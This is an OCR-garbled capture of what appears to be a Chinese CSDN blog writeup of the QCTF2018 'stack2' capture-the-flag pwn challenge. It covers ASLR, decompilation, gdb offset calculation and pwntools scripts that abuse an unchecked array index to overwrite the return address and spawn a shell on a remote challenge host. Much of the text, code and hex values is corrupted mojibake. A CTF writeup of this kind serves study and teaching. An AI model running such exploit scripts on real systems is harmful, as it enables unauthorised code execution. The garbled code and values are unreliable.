[ QCTF2018]) stack2------<<ASLR{EI ¥l >

Grazie o F 2020-12-27 16:47:11 KA o 149 ﬁ e

SFRER: pwn LEFE: Z4 pwn

FRALAE . AN ERAISCE, 15 CC 4.0 BY-SA FRANIML, HEIEM L E SO A RSB
A4 https://blog.csdn.net/qq_21746331/article/details/111793371

FERAL

wn ERERFIZHE
5MXE0ITH
TSR

QCTF2018_stack2

R SRR
0x1 ASLR{ZE# L1

writeup
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fELinuecE & £, ASLRATO, 1, 224, @id— WS Hrandomize_va_spaceidt17# M. xR & LW F:

e /proc/sys/kernellrandomize_va_space =0: % BEVLIL. EISSH ASLR.
e /proc/sys/kernelirandomize_va_space = 1: {REFIFENLL. FEZEE. 2. mmap() BLK& VDSO ¥ 8 BN .

e /proc/sys/kernelirandomize va_space =2: 5E2WFEN L. FErandomize va_space = 1HIZEA b, #id brk() SN FES
) oK FE AL (— R EEpwni 3RS, ASLREFIHKD -

i AT & A E RA L AT ASLRE K :

$ cat /proc/sys/kernel/randomize_va_space
FErootiU FR fshelldr, w7 LUl PA T 82 1BASLR:
echo @ > /proc/sys/kernel/randomize_va_space
echo 1 > /proc/sys/kernel/randomize_va_space

echo 2 > /proc/sys/kernel/randomize_va_space

T & — B R ASLR

10;
int uninitGlobalVar;

int main()

{
L

int localvar 10;

printf( , func);
printf( , &globalvar);
printf( , &uninitGlobalvar);
printf( , &localvar);

return 0;

1
J

int func(int a)

I
i

return a+l;

1
J




S RF) 4 gcc -no-pie aslr.c -o aslr64 fl gcc -m32 -no-pie aslr.c -o aslr32 AG4NIFI32M KM HATIER, 1E
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func() is ©x4005f0, in .text section
globalvar is @x601038, in .data section
uninitGlobalvar is 0x601040, in .bss section
localVar is [@x7ffdfdac9564, in stack

top$ ./aslr64
func() is 0x4005f0, in .text section
globalvar is 0x601038, in .data section
uninitGlobalvar is 0x601048, in .bss section
localvar is [@x7ffdc4157524, in stack

fopS . /aslr64
func() is @x4005f@, in .text section
globalvar is 0x601038, in .data section
uninitGlobalvar is 0x601040, in .bss section
localvar is [@x7fff72ae2434), in stack

top$ ./aslr64
func() is 0x4005f0, in .text section
globalvar is 0x601038, in .data section
uninitGlobalvar is 0x601040, in .bss section
localvar is|@x7ffebi6b8b54, in stack

p$ ./faslr3z
func() is 0x8048536, in .text section
globalvar is 0x804a0208, in .data section
uninitGlobalvar is ®x804a828, in .bss section
localvar is |exff839128|, in stack

opS . faslr3z
func() is Ox80848536, in .text section
globalvar is ©0x804a020, in .data section
uninitGlobalvar is ©x804a828, in .bss section
localvar is @xfffa@8d8, in stack

opS . faslr32
func() is Ox8048536, in .text section
globalvar is 0x804a820, in .data section
uninitGlobalvar is ®x804a828, in .bss section
localvar is |@xffb01648, in stack

tops .faslr32

func() is ®x8048536, in .text section
globalvar is 0x804a820, in .data section
uninitGlobalvar is ©x804a028, in .bss section
localVar is[@xffcbafe8, in stack
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SeHifileEE XM HIE M, 7L istack22 324z i ELFAT $447 3044 -

pwn@ubuntu:
./stack2: ELF 32-bit

top/stack2’
1386-32-1little
RELRO: Partial RELRO
Stack:
NX:
PIE:

¥ BT — TR

pwn@ubuntu:~/ ops$ ./stackz

R A A R A A R A R A R A A R A A A A A A A A A A A AR AR AR A AR AT R AR R AR AT RE
* An easy calc *
*Give me your numbers and I will return to you an average *
*(0 <= X < 256) s
R A A R A A R A R A R A A R A A A A A A A A A A A AR AR AR A AR AT R AR R AR AT RE
How many numbers you have:

1

Give me your numbers

show numbers
add number
change number
get average
exit

hich number to change:
ew number:

show numbers
add number
change number
get average
exit

LA WRMNRERLLID AT WWMDoLHLWRKRES 2

AEBBMESIRGIZE T — MR S BRS B — 8y . SRR IR T — L tE, O/FITEH, Hm, &%, H
SEIME . RIS IR YR IDABEAT B S 447«

int _ cdecl main(int argc, const char argv, const char envp)
{
int v3;
unsigned int
unsigned int
int v7;
unsigned int
int v9;
unsigned int i;
unsigned int
unsigned int
char v13[100];
unsigned int vi14;

__readgsdword(0x14u) ;
i Q. 2. 0);




setvbuf(stdout, 0, 2, 9);
v9 0;
puts(
puts(
puts(
puts(
puts(
puts(
__iso0c99_scanf( , &v5);
puts( )
for (i 0; i (signed int)i
{
__is0c99_scanf( , &v7);
v13[i] v7;
)i
for ( j v5; ; printf(
{
while ( 1)
{
while ( 1)
{
while ( 1)
{
puts(
__1s0c99_scanf(
if ( ve 2)
break;

puts(

__1s0c99_scanf(

if (5 YCERD)

{
V3 = J+;
v13[v3] v7;

b
if ( v6 2)
break;
if ( v6 1)
return 9;
puts(
for ( k = 0;
printf(
b
if ( vée 3)
break;
puts(
__iso0c99_scanf(
puts(
__iso0c99_scanf(
v13[v5] v7;
)i
if ( vée 4 )
break;
V9 0,
for (1 0; 1 Js 1)
v9 v13[1];

)

(double) ((long double)v9

(double)3)) )




A LAR B B R BE 26647 I va3[vs] = v7 XHMRIBEERBRE, FHATEABHASHEHNMNE, REREEHTLR.
[F A ZEIDAK BB 2 O R BUE J& 1] B #thackhere:

int hackhere()
{

return system(”/bin/bash™);
¥

XA BB EARIE T, AR B SR RSB R B bk S, BDAT 3RS shell. B SeBkEE R va3[i]=v7 AHIICH A
o, AT, W

.text:080486C2 ; 29: vi3[1i] = v7;

.text:080486C2 add esp, 1@h

.text:080486C5 mov eax, [ebp+var_88] ; JHv7i{iidiLeax/il Necx

.text:080486CB mov ecx, eax

.text:080486CD lea edx, [ebp+var 701 ; edxTAEH Va3 thhE, FIGHFebplf) s /ox70
.text:080486D0 mov eax, [ebp+var_7C]

.text:080486D3 add eax, edx 5 eax PRI 1R AT B Y hE
.text:080486D5 mov [eax], cl 3 FRVTIR AN B eax I £5 7] (1) % 25 0]
.text:080486D7 add [ebp+var_7C], 1

MXEATLARHREIER, vISEEEebpMm Z20x70. IR AE4E, vI3FIiR [E bk i £2 B 5L 2 0x70+0x04 1, 1H
2, LR ZLEENEITRBE R, FHEEETN 4ESshell. 2R, F Blmaink HK & HOT 16 4k -

.text:080485D0 ;  unwind {

.text:080485D0 lea ecx, [esp+4]

.text:080485D4 and esp, OFFFFFFFoh ; ThesplfRafiiBE %, MM Tl esplal el Jy o) fafs HARPU AT =1
.text:080485D7 push dword ptr [ecx-4] ; esp-4

.text:080485DA push ebp ; esp-4

.text:030485DB mov ebp, esp 5 mainef BT IKebp

.text:080485DD push ecx

.text:080485DE sub esp, ©A4dh

RABEMR, maink BOTRERWIH %A HE LKPUSH EBP; MOV EBP ESP; SUB ESP OFFSETH 77 SR FFREtkil, X
BB IR [B] bk 3 8B e ebp i) BT . B T HASLRIARZE I BENL RS, TRAFRIRIEILARF, I and esp,
OFFFFFFFoh R AR FHBRBEFIITAARAKMBIR? F A2, FAELHKASLREFHHILERMNELI TR T, BR
ASLREEAR I EIEBENL, ERIMCAL IR REE R, AR Emaink KA LRKITRARBIK TR, BRFSRN

>, mainik BUER Wi ebpii &t 3K 8] bk (9 B U5 4R R B 2 1, H % T esplIE MU AL R R B9 7 B +47 0 #4775 . XHEHL
A UFEgdb P B AR, EHespHKIUAL, fEmainBR AN OALITHI A, BhifespiR FKRIER B, HHEAKIUAH0xC:

b *0x080485D0
Breakpoint 1 at ©0x80485de
r
Starting program: [home/pwn/Desktop/stack2

Breakpoint 1, ©x080485d® in main ()
LEGEND: STACK | | | | RWX | RODATA

EAX —+ Oxffffd26c » Oxffffd429 <« 'CLUTTER_IM_MODULE=xim'
EBX 0x0

ECX 0Oxdbd46249

EDX oxffffdif4 <« 0x0

EDI 0x0

ESI <+ 0x1d7d8c

EBP 0x0

ESP oxffffdicc

EIP <+ 0x4244cs8d

> 0x80485d0 <main=> lea
0x80485d4 <main+4> an
0x80485d7 <main+7=>
0x80485da <main+10=>
0x80485db <main+11=>
0x80485dd <main+13>
0x80485de <main+14=>
0x80485e4 <main+20>
0xB04B5ea <main+26>
0x80485ed <main+29=
0x80485ef <main+31>




10004
:0008
:000c
:0010
10014
:0018
Hili b

» T 0 80485d0 main
f 1 f7df5f21 _ libc_start_main+241

XA AT DAFS B mianek ok i ) ebp 2 3 [5] 3 bk ) w2 9 -

=0x84. T EFR:

stack fram of main

OK, EARABHEETUT, Sexpia:

ret_addr

ebp of __libc_start_main

<« ' [home/pwn/Desktop/stack2’
< 'CLUTTER IM MODULE=xim'

< 0x1d7d8

C

ret_addr
0x14
ebp of __libc_stari_main
< ebp
0x70
V13
< esp

0x14

Fy

vi3

ebp

0x70

ry

esp

addr of "/bin/bash”

addr of call _system

ebp of __libc_start_main

0xC+0x4+0x4 =0x14. B 15 Hv133)R Bl HhER R A: 0x14+0x70

0x14

Y

Vi3

ebp

0x70

esp



from pwn import
context(log level

r process(

binsh = 0x08048980
addr_offset ox84
call system_addr 0x080485B4

.recvuntil(
.sendline(
.recvuntil(

.sendline(

def write vi3(offset, num):
r.recvuntil( )

.sendline(

r
r.recvuntil(
r.sendline( (offset))
r

r

.recvuntil(

.sendline( (num))

write_vi13(addr_offset, 0xb4)

write vi13(addr_offset+1l, ©x85)
write vi13(addr_offset+2, 0x04)
write vi13(addr_offset+3, 0x08)

write_vi3(addr_offset
write_vi3(addr_offset
write_vi3(addr_offset
write vi3(addr_offset

r.sendline( )

r.interactive()

S RIX B AT A HITIE, HETZBEHNANT, BT —TERFAAHEANEILE binbashBt BRI H, HEFE ATRRM
A B, XFEERAI LA — T 885 Fsystem(“sh”) sk 3k Bishell, B NTE /bin/bash FELE sh XANFE, HIWBE N7, WA
A FEE LR write_vi3(addr_offset+4, 0x80) N write vi3(addr offset+4, ox87) BT, FRARXIHE(FEIRTE T shell,

exp



from pwn import
context(log level
r remote( , 26883)

binsh = 0x08048980
addr_offset ox84
call system_addr 0x080485B4

def write vi3(offset, num):
r.recvuntil( )
.sendline(
.recvuntil(
.sendline( (offset))
.recvuntil(

.sendline( (num))

write vi3(addr_offset+1
write vi3(addr_offset+2

write_vi13(addr_offset
write_vi13(addr_offset
write_vi13(addr_offset

r.sendline( )

r.interactive()




R Ih KB shellfiflag:

[+] Opening connection to node3.buuoj.cn on port 26883: Done
[*] Switching to interactive mode
1. show numbers

. add number

. change number

. get average

cat flag.txt
flag{c37adaf2-1dbc-479a-b5f0-f36fcac8fdf9}

& SREUE B A5
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